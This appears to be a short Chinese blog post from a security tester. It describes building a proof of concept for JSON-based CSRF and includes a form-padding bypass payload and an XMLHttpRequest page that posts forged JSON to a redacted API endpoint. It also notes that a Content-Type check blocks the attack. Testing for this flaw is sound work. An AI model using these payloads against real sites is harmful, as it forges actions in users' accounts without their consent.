json CSRF

作者: Mr_Anderson | 来源:发表于2015-03-18 16:24 被阅读826次

背景介绍

公司需要上线新业务,发现了有个应用没有对CSRF做防护,本来想着使用burpsuite简单的生成一个POC就可以产出了。结果发现如下问题,在使用form的表格进行CSRF poc生成。
1,如果使用form的话,生成的内容会多一个 ‘=’ 号,结果导致json不能很好的解析,绕过办法:<code>name='{"added":[{"id":1,"title":"test"}],"ignore_me":"' value='test"}'/></code>

2,如果应用对content-type:application/json;utf-8 做了检查,那么由于form的enctype的限制,所以无法修改。

3,使用xmlhttp
<code>
<html>
<script language="javascript" type="text/javascript">
function jsonreq()
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","http://xxx.xxx.com/api/xxx",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"_xxx":null,"category":"internet","xxx":"project","description":"csrf","recent":[0,0,0,0,0],"task":{"total":0,"done":0,"today":0},"navigation":{"home":0,"tasks":1,"posts":2,"files":3,"events":4,"review":5,"tag":6,"xxx":-1},"logo":null,"name":"localcsrf"}));;
}
jsonreq();
</script>
</html>
</code>
由于同源策略,所以很难有什么绕过方法。
目前发现如果对content-type做了检查,CSRF很难实现。

相关文章

  • json CSRF

    背景介绍 公司需要上线新业务,发现了有个应用没有对CSRF做防护,本来想着使用burpsuite简单的生成一个PO...

  • json格式的csrf

    场景: 数据以json格式传输,没有添加token,没有限制refer,但是服务器验证了Content-Type是...

  • JSON Hijacking

    大概就是利用jsonp跨域请求,来实现csrf攻击。 JSONP存在的JSON Hijacking漏洞以及与csr...

  • 跨站伪造请求-CSRF

    CSRF: Cross-Site Request Forgery CSRF 概念 CSRF 流程 CSRF 其他概...

  • Django模板[CSRF]

    CSRF 防csrf的使用 取消csrf保护 保护原理 CSRF 全称Cross Site Request For...

  • 第五章 CSRF攻击

    要点 CSRF CSRF 防护 SSRF SSRF防护 一、CSRF攻击 CSRF(Cross-Site Requ...

  • 什么是CSRF攻击

    本文分享CSRF是什么与如何防范CSRF攻击 CSRF攻击是什么? CSRF(Cross-site request...

  • csrf如何添加认证和忽略认证

    如果设置了全局的csrf认证,免除csrf认证:添加csrf_exempt装饰器 如果没有设置全局的csrf认证,...

  • 网络安全系列(3) CSRF攻击

    1.CSRF概述 1.2 CSRF 攻击实例 1.3 CSRF 攻击的对象 2.当前防御 CSRF 的几种策略 2...

  • 网络攻防(xss,CSRF/XSRF)了解一下?

    CSRF/XSRF:一、什么是CSRF?CSRF(cross-site request forgery) 跨站请求...

网友评论

      本文标题:json CSRF

      本文链接:https://www.haomeiwen.com/subject/dixwxttx.html